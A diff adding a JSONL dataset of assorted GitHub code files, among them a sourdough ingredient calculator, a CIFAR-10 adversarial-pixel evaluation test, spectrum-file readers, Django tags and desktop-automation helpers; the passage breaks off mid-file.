diff --git "a/2213.jsonl" "b/2213.jsonl" new file mode 100644--- /dev/null +++ "b/2213.jsonl" @@ -0,0 +1,1233 @@ +{"seq_id":"4920990220","text":"m = \"masa madre\"\nh = \"harina\"\ns = \"sal\"\na = \"agua\"\nav = \"agua para viga\"\nac = \"aceite\"\nle = \"levadura en polvo\"\npi = \"pizza\"\npa = \"pan\"\nfo = \"focaccia\"\nvi = \"viga\"\n\ndef Calcmm():\n maspi1 = int(input(\"Ingrese la cantidad de mass madre que vas a utilizar para hacer esta pizza:\"))\n harpi1 = ((100 * maspi1) / masam)\n salpi1 = ((2.5 * harpi1) / 100)\n agupi1 = ((agua * harpi1) / 100)\n acepi1 = ((2.5 * harpi1) / 100)\n print(\"vas a necesitar: \\n\",\n maspi1, \"gr de masa madre\\n\",\n harpi1, \"gr de Harina\\n\",\n salpi1, \"gr de Sal\\n\",\n agupi1, \"gr de Agua\\n\",\n acepi1, \"gr de Aceite\"\n )\n\ndef Calcha():\n harpi2 = int(input(\"Ingrese la cantidad de harina que vas a utilizar para hacer esta pizza: \"))\n salpi2 = ((2.5 * harpi2) / 100)\n maspi2 = ((masam * harpi2) / 100)\n agupi2 = ((agua * harpi2) / 100)\n acepi2 = ((2.5 * harpi2) / 100)\n print(\"vas a necesitar: \\n\",\n maspi2, \"gr de masa madre\\n\",\n harpi2, \"gr de Harina\\n\",\n salpi2, \"gr de Sal\\n\",\n agupi2, \"gr de Agua\\n\",\n acepi2, \"gr de Aceite\"\n )\n\ndef Calcsa():\n salpi3 = int(input(\"Ingrese la cantidad de sal que vas a utilizar para hacer esta pizza: \"))\n harpi3 = ((100 * salpi3) / 2.5)\n maspi3 = ((masam * harpi3) / 100)\n agupi3 = ((agua * harpi3) / 100)\n acepi3 = ((2.5 * harpi3) / 100)\n print(\"vas a necesitar: \\n\",\n maspi3, \"gr de masa madre\\n\",\n harpi3, \"gr de Harina\\n\",\n salpi3, \"gr de Sal\\n\",\n agupi3, \"gr de Agua\\n\",\n acepi3, \"gr de Aceite\"\n )\n\ndef Calcag():\n agupi4 = int(input(\"Ingrese la cantidad de agua que vas a utilizar para hacer esta pizza: \"))\n harpi4 = ((100 * agupi4) / agua)\n maspi4 = ((masam * harpi4) / 100)\n salpi4 = ((2.5 * harpi4) / 100)\n acepi4 = ((2.5 * harpi4) / 100)\n print(\"vas a necesitar: \\n\",\n maspi4, \"gr de masa madre\\n\",\n harpi4, \"gr de Harina\\n\",\n salpi4, \"gr de Sal\\n\",\n agupi4, \"gr de Agua\\n\",\n acepi4, \"gr de Aceite\"\n )\n\ndef Calcac():\n acepi5 = int(input(\"Ingrese la cantidad de aceite que vas a utilizar para hacer esta pizza: \"))\n harpi5 = ((100 * acepi5) / 2.5)\n maspi5 = ((masam * harpi5) / 100)\n salpi5 = ((2.5 * harpi5) / 100)\n agupi5 = ((agua * harpi5) / 100)\n print(\"vas a necesitar: \\n\",\n maspi5, \"gr de masa madre\\n\",\n harpi5, \"gr de Harina\\n\",\n salpi5, \"gr de Sal\\n\",\n agupi5, \"gr de Agua\\n\",\n acepi5, \"gr de Aceite\"\n )\n \n\n\n\n\nprint(\"vamos a hacer una masa de pan, pizza o focaccia con masa madre.\")\nprint(\"Que masa queres hacer hoy?: \\n1.\",pi,\"\\n2.\",pa,\"\\n3.\",fo,\"\\n4.\",vi)\nmasa = int(input(\"Que masa queres hacer hoy?(pon el numero de masa):\"))\n\n#agua = int(input(\"Con que porcentaje de hidratacion queres hacer la masa?: \"))\nif masa == 1:\n agua = int(input(\"Con que porcentaje de hidratacion queres hacer la masa?: \"))\n masam= int(input(\"con que porcentaje de masa madre queres hacer la masa: \"))\n print(\"Genial, vamos a hacer una pizza! con \",agua,\"% de hidratacion y con un \",masam, \"% de masa madre).\")\n print(\"vamos a necesitar los siguientes ingredientes:\"\n \"\\nHarina\"\n \"\\nAgua\"\n \"\\nAceite\"\n \"\\nSal\"\n \"\\nMasa madre\")\n print(\"Quieres calcular los ingredientes en base a: \\n1.\", m, \"\\n2.\", h, \"\\n3.\", s, \"\\n4.\", a, \"\\n5.\", ac)\n i = input(\"Ingresa el numero del ingrediente: \")\n i = int(i)\n # ----------- calculo de pizza con la masa madre --------------------------\n if i == 1:\n print(\"Has seleccionado hacer el calculo con la: \", m)\n Calcmm()\n # ----------- calculo de pizza con la harina --------------------------\n elif i == 2:\n print(\"Has seleccionado hacer el calculo con la: \", h)\n Calcha()\n\n # ----------- calculo de pizza con la sal --------------------------\n\n elif i == 3:\n print(\"Has seleccionado hacer el calculo con la: \", s)\n Calcsa()\n\n # ----------- calculo de pizza con el agua --------------------------\n\n elif i == 4:\n print(\"Has seleccionado hacer el calculo con el: \", a)\n Calcag()\n\n # ----------- calculo de pizza con el aceite --------------------------\n\n elif i == 5:\n print(\"Has seleccionado hacer el calculo con el: \", ac)\n Calcac()\n\n# -------------- calculo de pan -----------------------------------------\nelif masa == 2:\n agua = int(input(\"Con que porcentaje de hidratacion queres hacer la masa?: \"))\n print(\"Genial, vamos a hacer una pan! con \", agua, \"% de hidratacion (20% de masa madre).\")\n print(\"Vamos a necesitar los siguientes ingredientes:\"\n \"\\nHarina\"\n \"\\nAgua\"\n \"\\nMasa madre\"\n \"\\nSal\")\n print(\"Quieres calcular los ingredientes en base a: \\n1.\", m, \"\\n2.\", h, \"\\n3.\", s, \"\\n4.\", a)\n i = input(\"Ingresa el numero del ingrediente: \")\n i = int(i)\n\n # -------------- calculo de pan con la masa madre ---------------------\n\n if i == 1:\n print(\"Has seleccionado hacer el calculo con la: \", m)\n maspa1 = int(input(\"Ingrese la cantidad de masa madre: \"))\n harpa1 = ((100 * maspa1) / 20)\n salpa1 = ((2 * harpa1) / 100)\n agupa1 = ((agua * harpa1) / 100)\n print(\"vas a necesitar: \\n\",\n maspa1, \"gr de masa madre\\n\",\n harpa1, \"gr de Harina\\n\",\n salpa1, \"gr de sal\\n\",\n agupa1, \"gr de Agua\\n\"\n )\n\n # -------------- calculo de pan con la harina ---------------------\n\n elif i == 2:\n print(\"Has seleccionado hacer el calculo con la: \", h)\n harpa2 = int(input(\"Ingrese la cantidad de harina: \"))\n maspa2 = ((20 * harpa2) / 100)\n salpa2 = ((2 * harpa2) / 100)\n agupa2 = ((agua * harpa2) / 100)\n print(\"vas a necesitar: \\n\",\n maspa2, \"gr de masa madre\\n\",\n harpa2, \"gr de Harina\\n\",\n salpa2, \"gr de sal\\n\",\n agupa2, \"gr de Agua\\n\"\n )\n\n # -------------- calculo de pan con la sal ---------------------\n\n elif i == 3:\n print(\"Has seleccionado hacer el calculo con la: \", s)\n salpa3 = int(input(\"Ingrese la cantidad de sal: \"))\n harpa3 = ((100 * salpa3) / 2)\n maspa3 = ((20 * harpa3) / 100)\n agupa3 = ((agua * harpa3) / 100)\n print(\"vas a necesitar: \\n\",\n maspa3, \"gr de masa madre\\n\",\n harpa3, \"gr de Harina\\n\",\n salpa3, \"gr de sal\\n\",\n agupa3, \"gr de Agua\\n\"\n )\n\n # -------------- calculo de pan con el agua ---------------------\n\n elif i == 4:\n print(\"Has seleccionado hacer el calculo con el: \", a)\n agupa4 = int(input(\"Ingrese la cantidad de agua: \"))\n harpa4 = ((100 * agupa4) / agua)\n maspa4 = ((20 * harpa4) / 100)\n salpa4 = ((2 * harpa4) / 100)\n print(\"vas a necesitar: \\n\",\n maspa4, \"gr de masa madre\\n\",\n harpa4, \"gr de Harina\\n\",\n salpa4, \"gr de sal\\n\",\n agupa4, \"gr de Agua\\n\"\n )\n\n#----------------- calculo de la focaccia ---------------------------\nif masa == 3:\n agua = int(input(\"Con que porcentaje de hidratacion queres hacer la masa?: \"))\n print(\"Genial!, vamos a hacer una focaccia! con \",agua,\"% de hidratacion.\")\n print(\"vamos a necesitar los siguientes ingredientes:\"\n \"\\nHarina\"\n \"\\nAgua\"\n \"\\nAceite\"\n \"\\nSal\"\n \"\\nMasa madre\")\n print(\"Quieres calcular los ingredientes en base a: \\n1.\", m, \"\\n2.\", h, \"\\n3.\", s, \"\\n4.\", a, \"\\n5.\", ac)\n i = input(\"Ingresa el numero del ingrediente: \")\n i = int(i)\n # ----------- calculo de focaccia con la masa madre --------------------------\n if i == 1:\n print(\"Has seleccionado hacer el calculo con la: \", m)\n masfo1 = int(input(\"Ingrese la cantidad de masa madre que vas a utilizar para hacer esta pizza:\"))\n harfo1 = ((100 * masfo1) / 25)\n salfo1 = ((2.5 * harfo1) / 100)\n agufo1 = ((agua * harfo1) / 100)\n acefo1 = ((2.5 * harfo1) / 100)\n print(\"vas a necesitar: \\n\",\n masfo1, \"gr de masa madre\\n\",\n harfo1, \"gr de Harina\\n\",\n salfo1, \"gr de Sal\\n\",\n agufo1, \"gr de Agua\\n\",\n acefo1, \"gr de Aceite\"\n )\n # ----------- calculo de focaccia con la harina --------------------------\n elif i == 2:\n print(\"Has seleccionado hacer el calculo con la: \", h)\n harfo2 = int(input(\"Ingrese la cantidad de harina que vas a utilizar para hacer esta pizza: \"))\n salfo2 = ((2.5*harfo2)/100)\n masfo2 = ((25 * harfo2) / 100)\n agufo2 = ((agua * harfo2) / 100)\n acefo2 = ((2.5 * harfo2) / 100)\n print(\"vas a necesitar: \\n\",\n masfo2, \"gr de masa madre\\n\",\n harfo2, \"gr de Harina\\n\",\n salfo2, \"gr de Sal\\n\",\n agufo2, \"gr de Agua\\n\",\n acefo2, \"gr de Aceite\"\n )\n\n # ----------- calculo de focaccia con la sal --------------------------\n\n elif i == 3:\n print(\"Has seleccionado hacer el calculo con la: \", s)\n salfo3 = int(input(\"Ingrese la cantidad de sal que vas a utilizar para hacer esta pizza: \"))\n harfo3 = ((100 * salfo3) / 2.5)\n masfo3 = ((25 * harfo3) / 100)\n agufo3 = ((agua * harfo3) / 100)\n acefo3 = ((2.5 * harfo3) / 100)\n print(\"vas a necesitar: \\n\",\n masfo3, \"gr de masa madre\\n\",\n harfo3, \"gr de Harina\\n\",\n salfo3, \"gr de Sal\\n\",\n agufo3, \"gr de Agua\\n\",\n acefo3, \"gr de Aceite\"\n )\n\n # ----------- calculo de focaccia con el agua --------------------------\n\n elif i == 4:\n print(\"Has seleccionado hacer el calculo con el: \", a)\n agufo4 = int(input(\"Ingrese la cantidad de agua que vas a utilizar para hacer esta pizza: \"))\n harfo4 = ((100 * agufo4) / agua)\n masfo4 = ((25 * harfo4) / 100)\n salfo4 = ((2.5 * harfo4) / 100)\n acefo4 = ((2.5 * harfo4) / 100)\n print(\"vas a necesitar: \\n\",\n masfo4, \"gr de masa madre\\n\",\n harfo4, \"gr de Harina\\n\",\n salfo4, \"gr de Sal\\n\",\n agufo4, \"gr de Agua\\n\",\n acefo4, \"gr de Aceite\"\n )\n\n # ----------- calculo de pizza con el aceite --------------------------\n\n elif i == 5:\n print(\"Has seleccionado hacer el calculo con el: \", ac)\n acefo5 = int(input(\"Ingrese la cantidad de aceite que vas a utilizar para hacer esta pizza: \"))\n harfo5 = ((100 * acefo5) / 2.5)\n masfo5 = ((25 * harfo5) / 100)\n salfo5 = ((2.5 * harfo5) / 100)\n agufo5 = ((2.5 * harfo5) / 100)\n print(\"vas a necesitar: \\n\",\n masfo5, \"gr de masa madre\\n\",\n harfo5, \"gr de Harina\\n\",\n salfo5, \"gr de Sal\\n\",\n agufo5, \"gr de Agua\\n\",\n acefo5, \"gr de Aceite\"\n )\n\n# ---------------calculo para la viga -------------------------------------\nelif masa == 4:\n print(\"Genial, vamos a hacer una viga! con. La viga la preparamos con un 50% de hidratacion y un 2% de 0,5% de levadura. \")\n print(\"Vamos a necesitar los siguientes ingredientes:\"\n \"\\nHarina\"\n \"\\nAgua\"\n \"\\nLevadura en polvo\"\n )\n print(\"Quieres calcular los ingredientes en base a: \\n1.\", h, \"\\n2.\", av, \"\\n3.\", le)\n i = input(\"Ingresa el numero del ingrediente: \")\n i = int(i)\n\n #-------------------- calculo de viga con harina -------------------------\n\n if i == 1:\n print(\"Has seleccionado hacer el calculo con el: \", h)\n harvi1 = int(input(\"Ingrese la cantidad de harina que vas a utilizar: \"))\n aguvi1 = ((50 * harvi1) / 100)\n levvi1 = ((0.4 * harvi1) / 100)\n print(\"vas a necesitar: \\n\",\n harvi1, \"gr de Harina\\n\",\n aguvi1, \"gr de Agua\\n\",\n levvi1, \"gr de Levadura\\n\"\n )\n\n # -------------------- calculo de viga con agua -------------------------\n\n if i == 2:\n print(\"Has seleccionado hacer el calculo con el: \", av)\n aguvi2 = int(input(\"Ingrese la cantidad de agua que vas a utilizar: \"))\n harvi2 = ((100 * aguvi2) / 50)\n levvi1 = ((0.4 * harvi2) / 100)\n print(\"vas a necesitar: \\n\",\n harvi2, \"gr de Harina\\n\",\n aguvi2, \"gr de Agua\\n\",\n levvi2, \"gr de Levadura\\n\"\n )\n\n # -------------------- calculo de viga con agua -------------------------\n\n if i == 3:\n print(\"Has seleccionado hacer el calculo con la: \", le)\n levvi3 = int(input(\"Ingrese la cantidad de levadura que vas a utilizar: \"))\n harvi3 = ((100 * levvi3) / 0.4)\n aguvi3 = ((50 * harvi3) / 100)\n print(\"vas a necesitar: \\n\",\n harvi3, \"gr de Harina\\n\",\n aguvi3, \"gr de Agua\\n\",\n levvi3, \"gr de Levadura\\n\"\n )\n","repo_name":"masitadev/app_del_panadero","sub_path":"panadero5.py","file_name":"panadero5.py","file_ext":"py","file_size_in_byte":13092,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"43"} +{"seq_id":"74508371968","text":"\"\"\"Attack cifar and a model using differential attack.\r\n\r\nNOTE: The functions declaration should be ordered by call.\r\n\"\"\"\r\n\r\nimport json\r\nimport os\r\nfrom typing import Dict\r\n\r\nimport numpy as np\r\nimport tensorflow as tf\r\nfrom tensorflow.keras.datasets import cifar10\r\nfrom tensorflow.keras.utils import to_categorical\r\n\r\nfrom inputtensorfi.attacks.corner_search import corner_search\r\nfrom inputtensorfi.attacks.utils import attack\r\nfrom inputtensorfi.manipulation.img.faults import PixelFault\r\nfrom integration_tests.models.my_vgg import my_vgg\r\n\r\nFILE_PATH = os.path.dirname(os.path.abspath(__file__))\r\nMODEL_PATH = os.path.join(FILE_PATH, \"../models/my_vgg.h5\")\r\nos.environ[\"TF_FORCE_GPU_ALLOW_GROWTH\"] = \"true\"\r\n\r\n\r\ndef __prepare_datasets():\r\n (x_train, y_train), (x_test, y_test) = cifar10.load_data()\r\n\r\n y_train = to_categorical(y_train)\r\n y_test = to_categorical(y_test)\r\n return (x_train, y_train), (x_test[:2000], y_test[:2000])\r\n\r\n\r\ndef __prepare_model(data_train, data_test):\r\n if os.path.exists(MODEL_PATH):\r\n print(\"---Using Existing Model---\")\r\n model: tf.keras.Model = tf.keras.models.load_model(MODEL_PATH)\r\n else:\r\n print(\"---Training Model---\")\r\n print(f\"GPU IS AVAILABLE: {tf.config.list_physical_devices('GPU')}\")\r\n model: tf.keras.Model = my_vgg()\r\n model.fit(\r\n *data_train,\r\n epochs=100,\r\n batch_size=64,\r\n validation_data=data_test,\r\n )\r\n model.save(MODEL_PATH)\r\n\r\n model.summary()\r\n return model\r\n\r\n\r\ndef _evaluate_one(\r\n image_id: int,\r\n data_test: np.ndarray,\r\n model: tf.keras.Model,\r\n):\r\n x_test, y_test = data_test\r\n x = x_test[image_id]\r\n y_true = y_test[image_id]\r\n y_true_index = np.argmax(y_true)\r\n\r\n result = model.predict(np.array([x]))[0] # Predict one\r\n result_index = np.argmax(result)\r\n\r\n print(f\"result={result}\")\r\n print(f\"result_index={result_index}\")\r\n print(f\"y_true={y_true}\")\r\n print(f\"y_true_index={y_true_index}\")\r\n print(f\"result[y_true_index]={result[y_true_index]}\")\r\n\r\n\r\ndef _look_for_pixels(\r\n image_id: int,\r\n data_test: np.ndarray,\r\n model: tf.keras.Model,\r\n pixel_count=1,\r\n):\r\n x_test, y_test = data_test\r\n x = x_test[image_id]\r\n y_true = y_test[image_id]\r\n y_true_index = np.argmax(y_true)\r\n pixels = attack(\r\n x,\r\n y_true_index,\r\n model,\r\n pixel_count=pixel_count,\r\n maxiter=10,\r\n verbose=False,\r\n ).astype(np.uint8)\r\n\r\n # Convert [x_0, y_0, r_0, g_0, b_0, x_1, ...]\r\n # to [pixel_fault_0, pixel_fault_1, ...]\r\n return np.array([PixelFault(*pixels[0:5]) for i in range(len(pixels) // 5)])\r\n\r\n\r\ndef test_cifar10_differential_attack_with_corner_search():\r\n data_train, data_test = __prepare_datasets()\r\n x_test, y_test = data_test\r\n model = __prepare_model(data_train, data_test)\r\n\r\n y_preds = model.predict(x_test)\r\n\r\n length = len(y_preds)\r\n y_fake = y_preds.copy()\r\n total_faults: Dict[int, PixelFault] = dict()\r\n for image_id, _ in enumerate(y_test):\r\n if np.argmax(y_preds[image_id]) != np.argmax(y_test[image_id]):\r\n print(f\"MISPREDICTED {image_id}/{length}\")\r\n continue\r\n pixels = _look_for_pixels(image_id, data_test, model, pixel_count=10)\r\n\r\n try:\r\n first_pred = next(corner_search(image_id, pixels, data_test, model))\r\n _, y_pred, pixel = first_pred\r\n y_fake[image_id] = y_pred\r\n total_faults[image_id] = pixel\r\n print(\r\n f\"FAULT {image_id}/{length}, {pixel}, original={data_test[0][image_id, pixel.x, pixel.y]}\"\r\n )\r\n except StopIteration:\r\n # print(f\"NO FAULT image_id={image_id}\")\r\n pass\r\n\r\n dict_data = {key: fault.to_tuple() for key, fault in total_faults.items()}\r\n print(f\"total_faults={json.dumps(dict_data, indent=2)}\")\r\n\r\n y_true_acc = np.array([np.max(y) for y in y_test])\r\n y_preds_acc = np.array([y[np.argmax(y_true)] for y, y_true in zip(y_preds, y_test)])\r\n y_fake_acc = np.array([y[np.argmax(y_true)] for y, y_true in zip(y_fake, y_test)])\r\n print(f\"y_true_acc={np.mean(y_true_acc)}\")\r\n print(f\"y_prior_acc={np.mean(y_preds_acc)}\")\r\n print(f\"y_fake_acc={np.mean(y_fake_acc)}\")\r\n\r\n\r\nif __name__ == \"__main__\":\r\n test_cifar10_differential_attack_with_corner_search()\r\n","repo_name":"Darkness4/input_tensor_fi","sub_path":"integration_tests/attacks/cifar10_differential_attack_with_corner_search.py","file_name":"cifar10_differential_attack_with_corner_search.py","file_ext":"py","file_size_in_byte":4403,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"43"} +{"seq_id":"73128831170","text":"import pandas as pd\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torchvision.models as models\nimport torchvision.transforms as transforms\nimport torchvision.datasets as datasets\nimport os\nimport torch\n\nimport numpy as np\nfrom sklearn.metrics import roc_auc_score, f1_score, recall_score\nimport random\ntorch.backends.cudnn.deterministic = True\n# chose from ellipse, spiral, random\nvisualization = 'spiral'\n# this file is for testing gray colored images on the best trained model on gray images\ncoloring = 'gray'\n# chose model size from \"small\" or \"medium\"\nmodel_size = 'small'\n# chose from 1, 2, 3 referring to 80-20, 160-40, or 800-200 splits if data.\ntv = 3\n\nif tv == 1:\n tn_s = 80\n val_s = 20\nif tv == 2:\n tn_s = 160\n val_s = 40\nif tv == 3:\n tn_s = 800\n val_s = 200\n\ntt_s = 500\n\nresize = False\ntest_dir = None\n# Set device\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\ndf = pd.DataFrame(columns=['seed', 'AUC', 'Acc', 'F1', 'Recall'])\n\nfor s in [3, 7, 11, 13, 29]:\n if resize == True:\n test_dir = visualization + '/data_transformed_' + visualization + '_' + model_size + '_' + str(s) + '_' + str(\n tn_s) + '_' + str(tt_s) + '_' + str(val_s) + '/test'\n\n transform = transforms.Compose([\n transforms.Resize((224, 224)),\n transforms.ToTensor()\n ])\n else:\n test_dir = coloring + '_color_' + visualization + '/data_' + coloring + '_' + visualization + '_' + model_size + '_' + str(s) + '_' + str(tn_s) + '_' + str(tt_s) + '_' + str(val_s) + '/test'\n if coloring == 'gray':\n transform = transforms.Compose([\n transforms.Grayscale(),\n transforms.ToTensor(),\n ])\n else:\n transform = transforms.Compose([\n transforms.ToTensor()\n ])\n\n batch_size = 32\n test_dataset = datasets.ImageFolder(test_dir, transform=transform)\n test_loader = torch.utils.data.DataLoader(\n test_dataset, batch_size=batch_size, shuffle=False, num_workers=32)\n\n best_model = models.resnet50(pretrained=False)\n best_model.conv1 = nn.Conv2d(1, 64, kernel_size=(7, 7), stride=(2, 2), padding=(3, 3), bias=False)\n num_ftrs = best_model.fc.in_features\n best_model.fc = nn.Linear(num_ftrs, 2)\n model = nn.DataParallel(best_model) # Utilize multiple GPUs\n model = model.to(device)\n\n if resize == True:\n model.load_state_dict(torch.load(\n 'best_model_transformed_' + visualization + '_' + model_size + '_' + str(s) + '_' + str(tn_s) + '_' + str(tt_s) + '_' + str(\n val_s) + '.pt'))\n else:\n model.load_state_dict(torch.load(\n 'best_model_' + coloring+ '_' + visualization + '_' + model_size + '_' + str(s) + '_' + str(\n tn_s) + '_' + str(tt_s) + '_' + str(val_s) + '.pt'))\n\n # Evaluate the best model on the test set\n model.eval()\n test_correct = 0\n\n with torch.no_grad():\n all_preds = []\n all_labels = []\n test_correct = 0\n tp = 0\n fn = 0\n\n for images, labels in test_loader:\n images = images.to(device)\n labels = labels.to(device)\n\n outputs = model(images)\n probs = torch.softmax(outputs, dim=1) # Obtain probabilities using softmax\n _, preds = torch.max(outputs, 1)\n all_preds.extend(probs[:, 1].cpu().numpy()) # Use the probability of the positive class\n\n all_labels.extend(labels.cpu().numpy())\n\n test_correct += torch.sum(preds == labels.data)\n tp += torch.sum((preds == 1) & (labels.data == 1))\n fn += torch.sum((preds == 0) & (labels.data == 1))\n\n test_acc = test_correct.double() / len(test_dataset)\n auc = roc_auc_score(all_labels, all_preds)\n f1 = f1_score(all_labels, (np.array(all_preds) >= 0.5).astype(int))\n recall = tp.double() / (tp.double() + fn.double())\n test_acc = test_acc.cpu()\n recall = recall.cpu()\n\n new_row = pd.Series({'seed': s, 'AUC': auc, 'Acc': test_acc, 'F1': f1, 'Recall': recall})\n\n # Add row using loc indexer\n df.loc[len(df.index)] = [s, auc, test_acc, f1, recall]\n\n print(f\"Test Acc: {test_acc:.4f}\")\n print(f\"AUC: {auc:.4f}\")\n print(f\"F1 Score: {f1:.4f}\")\n print(f\"Recall: {recall:.4f}\")\n\nstatistics = df.agg(['mean', 'std'])\n\n# Print the mean and standard deviation of each column\nfor column in df.columns:\n mean_value = round(statistics.loc['mean', column], 2)\n std_value = round(statistics.loc['std', column], 2)\n print(f\"Column '{column}':\")\n print(f\" Mean ± Std: {mean_value} ± {std_value}\\n\")\n","repo_name":"minasmz/VN-Solver","sub_path":"grayscale_VN-Solver/test_on_best_grayscale.py","file_name":"test_on_best_grayscale.py","file_ext":"py","file_size_in_byte":4702,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"43"} +{"seq_id":"1585634893","text":"'''\nRead spectrum (simulation/measurement)\n'''\nimport numpy as np\nimport struct\nimport time\n\n# read simulated spectrum \ndef read_simu(path):\n '''\n Read MCNP simulated spectrum\n Return \n ---------------------------\n dict contains:\n - energy bins\n - counts\n '''\n result = {}\n f = open(path,encoding = \"ISO-8859-1\")\n data_in = f.readlines()\n data_out=[]\n for line in range(len(data_in)):\n data_out.append(data_in[line].split()) \n for line in range(len(data_out)):\n if data_out[line]==['cell', '1']:\n if data_out[line+1]==['energy']:\n headline = line+6\n try:\n if data_out[line][0]=='total':\n if data_out[line+1][0]=='1analysis':\n lastline = line\n except IndexError:\n continue\n data_list = data_out[headline:lastline]\n data = np.asanyarray(data_list)\n data = data.astype(np.float)\n non_dupl=np.where(np.diff(data[:,0])!=0) # remove duplicate energy bins\n result['energy'] = (data[non_dupl,0]).squeeze()\n result['counts'] = (data[non_dupl,1]).squeeze()\n return result\n\ndef readCNF(filename):\n '''\n Read measured spectrum\n Return \n ---------------------------\n dict contains:\n - counts\n - channel\n - start_time\n - real_time\n - live_time\n - energy\n - A\n '''\n def uint8_at(f,pos):\n f.seek(pos)\n return np.fromfile(f,dtype=np.dtype(' dict:\n return {'columns': self.columns, 'keep': self.keep}\n","repo_name":"prodmodel/prodmodel","sub_path":"prodmodel/model/target/select_data_target.py","file_name":"select_data_target.py","file_ext":"py","file_size_in_byte":828,"program_lang":"python","lang":"en","doc_type":"code","stars":55,"dataset":"github-code","pt":"43"} +{"seq_id":"1363839011","text":"#!/usr/bin/python\r\n# -*- coding: UTF-8 -*-\r\n#------------------------------------------\r\n# grid_images\r\n# \r\n#\r\n# run on windows\r\n#------------------------------------------\r\nimport os, sys\r\nimport cv2\r\nimport numpy as np\r\nimport numpy as np\r\nfrom PIL import Image, ImageDraw\r\n\r\nblack = (0, 0, 0)\r\nwhite = (255, 255, 255)\r\n\r\n#dpath = \"textile_seg_dataset\"\r\ntrain_percentage = 0.7\r\nval_percentage = 0.3\r\n\r\nif len(sys.argv) != 3:\r\n print('usage: python grid_images.py data_path desc_path')\r\n sys.exit(-1)\r\n\r\nif os.name == \"posix\":\r\n path_linkage = '/'\r\nelse:\r\n path_linkage = '\\\\'\r\n\r\ndpath = sys.argv[1].rstrip(path_linkage)\r\ndpath2 = sys.argv[2].rstrip(path_linkage)\r\n\r\ndirs = os.listdir(dpath)\r\n\r\nif os.path.exists(dpath2) == False:\r\n os.mkdir(dpath2)\r\n\r\ni = 0\r\nfor file in dirs: \r\n print('file:',file)\r\n\r\n img = cv2.imread(dpath + path_linkage + file)\r\n w = img.shape[0]\r\n h = img.shape[1]\r\n img = Image.new('RGB', (w, h), black)\r\n img.save(dpath2 + path_linkage + file)\r\n\r\n i += 1\r\n \r\n","repo_name":"aixiwang/vision_data_tools","sub_path":"gen_true_mask.py","file_name":"gen_true_mask.py","file_ext":"py","file_size_in_byte":1025,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"43"} +{"seq_id":"35803032187","text":"from django import template\nfrom django.db.models import Count, F\n\nfrom news.models import Category\n\nregister = template.Library()\n\n@register.simple_tag(name='get_list_categories')\ndef get_categories():\n return Category.objects.all()\n\n@register.inclusion_tag('news/list_categories.html')\ndef show_categories():\n # categories = Category.objects.all()\n categories = Category.objects.annotate(cnt=Count('news', filter=F('news__is_published'))).filter(cnt__gt=0) # если в рубрике нет новостей, то она не выводится в списке рубрик\n return {'categories': categories}","repo_name":"ilyshev/django_news_site","sub_path":"webformyself/news/templatetags/news_tags.py","file_name":"news_tags.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"43"} +{"seq_id":"13823983572","text":"\"\"\"Insertion Sort\nArray is virtually split into sorted and unsorted part.\nValue from unsorted part is picked and placed at the correct position in the sorted part.\nAdvantages:\n Efficient for the small data values\n Adaptive in nature, i.e., appropriate for datasets that are already partially sorted.\"\"\"\n\nclass Solution():\n\n def insertionSort(self, arr):\n \n for i in range(1, len(arr)):\n key = arr[i]\n\n j = i-1\n while j>=0 and key < arr[j]:\n arr[j+1] = arr[j]\n j -= 1\n \n arr[j+1] = key\n\n return arr\n\narr = [12,39,24,2,7,22, 11, 13, 5, 6]\nsol = Solution()\nans = sol.insertionSort(arr)\nprint(ans) #[2, 5, 6, 7, 11, 12, 13, 22, 24, 39]\n\n","repo_name":"Baked-Prnv/Data-Structures-and-Algorithms","sub_path":"Searching and Sorting/Insertion Sort.py","file_name":"Insertion Sort.py","file_ext":"py","file_size_in_byte":781,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"43"} +{"seq_id":"14750543395","text":"import time\nimport pyautogui\nimport pygetwindow as gw\nimport json\n\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\n\n\nclass SystemAutomator:\n def CliqueImagem(self, imagem, count=1, botao=\"LEFT\"):\n while True:\n if self.BuscarImagem(imagem) is not False:\n imagem_encontrada = self.BuscarImagem(imagem)\n self.__Clique(imagem_encontrada, count, botao)\n break\n else:\n continue\n \n\n def BuscarImagem(self, imagem):\n caminho_imagem = \"src/images/\" + imagem + \".png\"\n posicao = pyautogui.locateOnScreen(caminho_imagem, region=(0, 0, pyautogui.size().width, pyautogui.size().height), grayscale=True, confidence=0.8)\n if posicao is not None:\n return posicao\n else:\n return False\n\n\n def __Clique(self, posicao=\"\", count=1, botao=\"LEFT\"):\n if posicao is not None:\n centro_x = posicao.left + posicao.width / 2\n centro_y = posicao.top + posicao.height / 2\n pyautogui.click(centro_x, centro_y, clicks=count, button=botao)\n\n\n def AguardarImagem(self, imagem, tentativas=0, sleep=1):\n if tentativas == 0:\n while True:\n resultado_busca = self.BuscarImagem(imagem)\n\n if resultado_busca == False:\n time.sleep(sleep)\n else:\n return True\n else:\n for tentativa in range(tentativas):\n print(tentativa)\n resultado_busca = self.BuscarImagem(imagem)\n\n if resultado_busca == False:\n time.sleep(sleep)\n else:\n return True\n return False\n\n\n def AguardarImagens(self, imagens, sleep = 1):\n while True:\n for imagem in imagens:\n caminho_imagem = \"src/images/\" + imagem + \".png\"\n result = pyautogui.locateCenterOnScreen(caminho_imagem, region=(0, 0, pyautogui.size().width, pyautogui.size().height), grayscale=True, confidence=0.8)\n if result is None:\n time.sleep(sleep)\n continue\n else:\n PosX, PosY = result\n return imagem\n \n\n def AlterarValorJson(self, empresa_id, chave, novo_status):\n caminho_arquivo = r'src/empresas.json'\n with open(caminho_arquivo, encoding='utf-8') as arquivo:\n conteudo = json.load(arquivo)\n \n for empresa in conteudo:\n if empresa[\"id\"] == empresa_id:\n empresa[chave] = novo_status\n \n with open(caminho_arquivo,'w') as arquivo:\n json.dump(conteudo, arquivo, indent=4)\n\n\n def AguardarJanela(self, janela, tempo = 1, tentativas = 0):\n if tentativas == 0:\n while True:\n janela_ativa = 